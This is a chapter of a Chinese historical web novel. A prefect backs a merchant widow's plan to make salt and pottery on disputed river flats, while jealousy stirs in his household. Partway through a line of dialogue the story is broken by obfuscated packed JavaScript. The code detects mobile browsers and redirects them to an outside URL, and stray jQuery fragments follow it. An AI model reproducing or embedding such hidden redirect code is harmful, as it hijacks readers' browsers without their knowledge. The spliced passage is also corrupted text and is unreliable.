**秋晴却站着不动，抱臂看着丁绾，眼中意味不明。


    丁绾恍若未见，自袖中取出一卷麻纸铺在案上：


    “府君，妾身今日来，实有要事相商。去岁我们在巩县九山建瓷窑，今春出瓷三万件，行销河北、淮北，获利颇丰。然瓷窑所用瓷土，取自九山本地矿脉，据老匠人估算，最多再采七八年便将枯竭。”


    王曜神色一凛：


    “夫人之意是？”


    “须寻新矿。”


    丁绾手指在舆图上移动，最终轻轻点在成皋以北、黄河与沁水交错的滩涂地带。


    王曜神色逐渐专注：


    “夫人可有眉目？”


    “有，却不仅是瓷土。”


    丁绾指尖划向那片滩涂区域。


    “妾身月前遣人勘察这一带荒滩，本意是寻找可替代的陶土，却偶然从当地渔夫口中得知，每逢旱季，那里有些洼地会析出白硝石般的苦盐，百姓称之为‘小盐’，味涩难食，仅作畜用。妾身便命人取了些样本回来。”


    她眼中泛起一丝精明商贾特有的光彩：


    “妾与工坊匠人反复试验，用草木灰淋卤、反复煎煮之法，竟能将那苦盐提纯出可食之盐！虽比不上海盐洁白，更远逊闻名天下的河东盐花，但成色已足可市卖。且那处土质黏韧，亦堪烧陶制坯。”


    室内静了下来。


    董璇儿抱着王祉，手指无意识地轻拍孩子后背。


    **秋晴眉头微锁，蘅娘垂眸盯着药碗。


    王曜沉吟良久，缓缓道：


    “夫人是说，在我河南郡边界，竟有可产盐之地？”


    “正是。”


    丁绾语气坚定：“那片滩涂地广人稀，位于河南、荥阳、河内三郡交界，权属向来模糊。若能以郡府名义将其圈定为官产，招募流民建棚煮盐、设窑制陶，便可一举两得：既稍解工坊原料之困，更可得盐利以养难民、实府库。此乃天赐之机，以度时艰。”


    **秋晴忽然开口：


    “既是荒地，为何从前无**规模煮盐？”


    “问得好。”


    丁绾看向她：“其一，土盐味苦质劣，有效的提纯之法并非人人知晓。其二，小灶私煮，其利甚微，难以引起豪强注意。其三……”


    她转向王曜，神色转为凝重：


    “正因为是三不管地带，一旦我们开始经营显利，邻近的荥阳余蔚、河内等地的势力，必会眼红争夺。故此事贵在神速与机密，须以郡府之力迅速占住地利，建坞设防，造成既定事实，方能站稳脚跟。”


    王曜眼中锐光闪动。


    他瞬间洞悉了此事的全部价值与风险：


    这不是去虎口夺食，而是在荒地上播种，但果实一旦成熟，必会引来窥伺。


    然而，这风险与获利相比，完全可以一试，且风险亦在他的能力应对范围之内。


    “夫人需要王曜做些什么？”


    “两样。”


    丁绾竖起手指：“一，郡府明令，将那片滩涂划为我河南官营工坊之地，许我全权招募流民开采经营。二，调一队可靠兵卒，以护卫工坊为名驻守，初时不必多，但须精悍能战，一则防小股流匪，二则……应对可能出现的邻郡骚扰。”


    王曜看向**秋晴。


    **秋晴抱臂沉思片刻，点头：


    “可从我幢中抽一队兵卒，扮作工坊护丁。丙队的陈队主老成干练，堪当此任。”


    “好！”


    王曜决断：“我当让尹主簿他们即刻草拟文书，将夫人所言滩涂之地划为郡府官产，专营盐陶。郡府上下，全力配合鲍夫人，所需青壮、物资，优先调拨。秋晴，护卫人选由你速办。此事列为郡中机密。”


    他顿了顿，对丁绾郑重道：


    “夫人，此乃解我郡燃眉之急、奠基长远之业，一切托付于你。滩涂之事，许你临机专断之权。”


    丁绾敛衽深施一礼，神情肃然而坚定：


    “府君信重，妾身必竭尽心力，不敢有负。”


    王祉在母亲怀中扭动，忽然伸出小手：


    “丁姨，抱！”


    童声稚嫩，却让室内气氛一僵。


    董璇儿忙道：


    “祉儿莫闹，丁姨有事。”


    “无妨。”


    丁绾已自然接过孩子，从篮中取出布老虎逗弄。


    王祉咯咯直笑，胖手抓着布老虎耳朵，又去摸丁绾发间玉簪。


    **秋晴别过脸去。


    蘅娘默默收拾药具。


    董璇儿看着儿子与丁绾亲昵模样，抿了抿唇，终是没说什么。


    ……


    此后数日，丁绾果然常驻成皋。


    她白日多在郡衙，或与王曜商议滩涂细节、核对账目；


    或与尹纬、杨晖讨论安置那些新近来投的流民事宜。


    傍晚则回城南宅邸，第二天早上来时，则会给王祉带些里市新出的糖画、泥人。


    孩子最是敏感，谁待他好，便黏谁。


    不过三五日，王祉已“丁姨”长“丁姨”短，有时玩得晚了，竟不肯回后院，非要黏着丁绾回城南宅邸。


    这日午后，王祉因顽皮打翻了董璇儿妆匣，被母亲轻拍了两下屁股。


    孩子哇哇大哭，转身就跑，直冲中院前堂——丁绾正与王曜讨论滩涂开工的细节。


    “丁姨！娘打！”


    小团子扑进丁绾怀中，抽抽噎噎告状。


    丁绾忙搂住他，柔声哄着，又从袖中掏出块饴糖。


    董璇儿追来时，见儿子赖在丁绾怀里不肯起身，气得跺脚：


    “王祉，你给我过来！”


    王祉把头埋得更深。


    王曜忍俊不禁，劝道：


    “孩子还小，慢慢教便是。”


    “你就惯着他！”


    董璇儿瞪了丈夫一眼，又看向丁绾，语气复杂。


    “鲍夫人，孩子顽劣，不可太纵容了。”


    丁绾抱起王祉，温声道：


    “夫人息怒，祉儿聪慧，只是活泼些，妾身这就带他去院里玩。”


    说罢微微一礼，抱着孩子出去了。


    董璇儿望着她背影，半晌才幽幽道：


    “这小子，如今倒跟外人更亲。”


    王曜拉她坐下，轻声道：


    “璇儿，丁娘子是真心待祉儿好。这些日你也瞧见了，她为郡中商事奔波，又助我筹划安置难民，并无私心。”


    “是吗？我看她私心可不小。”


    董璇儿一边点着王曜的胸脯，一边步步紧逼道：


    “一边当着我的面勾搭我夫君，一边还要拐走我的儿！你敢说她对你无意？”


    王曜苦笑，将她揽入怀中：


    “好啦好啦我的夫人，丁娘子于郡政有大用。去岁若无她商行支撑，成皋渡口、巩县瓷窑难有今日。此番她冒险赴那黄河滩头，亦是为解郡中困局。有些事……就劳烦夫人多多担待吧。”


    董璇儿伏在他肩头，良久才低声道：


    “都是我没用，没本事助你。”


    “瞎说什么，你与祉儿在我身边，就是对我最大的助力。”


    董璇儿这才抿嘴一笑，轻拍王曜的胸膛：


    “油嘴滑舌。”


    正说着，李虎的大嗓门在院外响起：


    “府君！**幢主回来了！”


    **秋晴大步走进，仍是那身黑色胡服，风尘仆仆。


    见董璇儿眼眶发红，她脚步一顿，随即如常行礼:


    “夫人，府君。”


    董璇儿忙起身，勉强笑道：


    “姐姐辛苦了，我去备些茶点。”


    待她离去，**秋晴才看向王曜，直言道：


    “丁绾又来了？”


    王曜苦笑：“在院里陪祉儿玩，你从营中回来，可是有事？”


    “两件事。”


    **秋晴在胡床上坐下，自己倒了碗水灌下。


    “其一，桓郡尉已将新军编伍完毕。按你定的军制:刀盾兵二、矛戟兵各一、**兵一，五人一伍；四伍加两辅兵，二十二人一什；五什一队，一百一十人；五队一幢，五百五十人。如今四幢齐备，另骑兵一队百二十骑，匠作营二百人，全军共计两千四百余。”


    她眼中闪着光：“操练两个多月，如今伍阵进退有度，什阵攻守兼备，队阵如臂使指。前日让那些县兵去观摩，县兵不服，当场与新军对练，新军一幢对县兵两幢，县兵皆不是对手。”


    王曜精神一振：


    “好！士彦果然大才！”


    “其二。”


    **秋晴神色转肃：“此外，营中斥候探得，荥阳近来兵马调动频繁。余蔚似在加固城防，更在敖仓增兵三千。洛阳方面，平原公虽未大动，却也命赵敖整备人马，以防不测。”


    王曜沉吟：“余蔚这是心虚了。他既知我已上告，必做防范。至于公侯……他也是在观望。”


    “我们该如何？”


    “以静制动。”


    王曜望向窗外，丁绾正蹲在院中，手把手教王祉用草叶编蚱蜢。


    阳光给她侧脸镀上一层金边，眉眼温柔。


    “新军尚需时日锤炼，难民安置刻不容缓，滩涂工坊之事更要抓紧。待这些根基打牢，余蔚……”


    他声音转冷：“自有清算之日。”


    **秋晴顺着他的目光看去，沉默片刻，忽然道：


    “丁绾真要去那片滩涂？”


    “是，三日后动身，先行勘察，建立据点。”


    **秋晴起身，走到门边，回身道：


    “我让丙队护她前去。三郡交界之地，龙蛇混杂，小心无大错。”


    王曜一怔，随即笑道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17327804|188792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ：


    “秋晴，你……”


    “我是为郡中大事。”


    **秋晴别过脸：“工坊若立不起来，难民和军饷都没着落。”


    话虽如此，耳根却微红。


    王曜心中暖流涌过，轻声道：


    “多谢你。”


    ……


    七月初十辰时，丁绾启程赴那处黄河滩涂。


    郡衙前，车马已备。


    三辆牛车载着行李、货物以及初步的淋卤、煮盐器具，**德祖等一百一十名精悍新卒随行护卫——领头的正是队主陈儁。


    丁绾今日换了便于行路的装束：


    深青色缺骻袍，腰束革带，足蹬乌皮靴，长发编成数条发辫盘在脑后，戴一顶浑脱帽。这般打扮，减去几分柔美，添了些英气与干练。


    王曜亲自送到衙前，叮嘱道：


    “那处形势复杂，名义上虽为我郡官产，然边界不靖。夫人此行，以勘察建立、站稳脚跟为要，遇事多与陈队主商议，若遇邻郡人员挑衅，暂以保全自身为上，然后立即报与我知，自有王曜为夫人周旋。”


    丁绾接过一道加盖了郡守印信的授权文书，郑重收好：


    “府君放心，妾身明白。必先立住根基，广布耳目，再徐图扩张。”


    她又向董璇儿行礼：


    “这些日子叨扰夫人，甚是不安。”


    说着又摸摸王祉的小脑袋：


    “祉儿，改日姨娘再陪你玩。”


    王祉哭闹着也要跟丁绾去，董璇儿赶忙拉住儿子，向丁绾还礼，神色已比之前缓和：


    “鲍夫人荒野奔波，千万保重。”


    **秋晴按刀立在阶上，对陈儁道：


    “护卫好鲍夫人与工坊。既要机警，也莫要主动生事。若有闪失，军法处置。”


    陈儁郑重抱拳：


    “幢主放心！属下晓得轻重！”


    丁绾深深看了王曜一眼，似有千言万语，终只化作一句：


    “府君保重伤体，妾身去了。”


    转身上车，帘幕垂下。


    车队向着东面辘辘而行，渐行渐远。


    王曜立在原地，直到车队消失在街角。


    左肩伤口隐隐作痛，他轻按了按，转身回衙。


    董璇儿跟在他身侧，轻声道：


    “夫君，进屋歇息罢。”


    ……


    回到郡衙后，王曜并没有听从董璇儿的建议立马回后院歇息，而是去中院前堂处理政务。


    他伤势渐好，已能处理简单文书。


    没一会儿，尹纬与杨晖来禀报难民安置进展：


    窝棚已搭起三百余间，老弱妇孺多安排去巩县养鸡场、织布坊，青壮则分往各处修路筑渠。


    虽仍捉襟见肘，但秩序渐稳。


    二人走后，王曜在后院缓步走动。


    王祉蹲在菜圃边，用小木棍拨弄泥土，口中念念有词。


    李虎蹲在一旁，憨笑着看孩子玩耍。


    “虎子，这些日辛苦你了。”


    王曜在他身边石凳坐下。


    自受伤以来，李虎几乎寸步不离郡衙，夜里就睡在前院厢房外间，稍有动静便醒。


    李虎挠挠头：“俺不辛苦。倒是曜哥儿，伤还没好全，莫要太过劳神。”


    王祉抬头，奶声奶气道：


    “虎叔，虫虫！”


    李虎忙凑过去，大手小心翼翼捏起一只蚯蚓，放在孩子掌心：


    “这叫地龙，不咬人。”


    王祉好奇地戳了戳，蚯蚓扭动，他咯咯直笑。


    王曜看着这一幕，心中柔软。


    乱世烽烟，能有这般片刻安宁，已是难得。


    正和李虎说话间，蘅娘端着药碗走来，轻声道：


    “府君，该喝药了。”


    王曜接过，一饮而尽。


    药汁苦涩，他皱了皱眉。


    蘅娘适时递上一枚蜜渍梅子，眼中含笑。


    正此时，尹纬亦匆匆而来，面带笑容。


    “子卿，刚得消息，贾勉贾府君来了。”


    王曜一怔的：


    “贾太守？他不是应该回钜鹿了吗？”


    “他应该是感念之前你上表为其分辩，此番特意跑来成皋拜会。”


    尹纬压低声音：“或许还想进一步拓展钜鹿与河南的合作。”


    王曜眼中闪过异彩，起身道：


    “快请！”


    话音未落，前院已传来通传声:


    “钜鹿太守贾府君到——”


    朝阳正好，将院中菜畦染成一片灿黄。


    王祉扔下木棍，好奇地望向月门。


    李虎站起身，手按刀柄。


    蘅娘悄然退至廊下。


    王曜整理衣袍，深吸一口气，迎向那即将到来的、意料之外的访客。